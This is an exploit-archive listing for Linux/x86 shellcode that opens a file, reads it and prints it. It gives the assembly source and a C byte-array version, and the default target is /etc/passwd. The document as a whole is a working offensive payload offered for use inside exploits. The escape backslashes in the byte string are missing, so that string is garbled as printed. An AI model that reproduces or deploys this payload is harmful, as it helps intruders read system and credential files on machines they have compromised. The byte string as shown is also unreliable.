[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 file reader 65 bytes + pathname
# Published : 2009-02-27
# Author : certaindeath
# Previous Title : linux/x86 Perl script execution 99 bytes + script length
# Next Title : win32 telnetbind by winexec 111 bytes
/*
Linux/x86 file reader.
65 bytes + pathname
Author: certaindeath
Source code:
_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
jmp two
one:
pop %ebx
movb $5, %al
xor %ecx, %ecx
int $0x80
mov %eax, %esi
jmp read
exit:
movb $1, %al
xor %ebx, %ebx
int $0x80
read:
mov %esi, %ebx
movb $3, %al
sub $1, %esp
lea (%esp), %ecx
movb $1, %dl
int $0x80
xor %ebx, %ebx
cmp %eax, %ebx
je exit
movb $4, %al
movb $1, %bl
movb $1, %dl
int $0x80
add $1, %esp
jmp read
two:
call one
.string "file_name"
*/
char main[]=
"x31xc0x31xdbx31xc9x31xd2"
"xebx32x5bxb0x05x31xc9xcd"
"x80x89xc6xebx06xb0x01x31"
"xdbxcdx80x89xf3xb0x03x83"
"xecx01x8dx0cx24xb2x01xcd"
"x80x31xdbx39xc3x74xe6xb0"
"x04xb3x01xb2x01xcdx80x83"
"xc4x01xebxdfxe8xc9xffxff"
"xff"
"/etc/passwd"; //Put here the file path, default is /etc/passwd
// www.Syue.com [2009-02-27]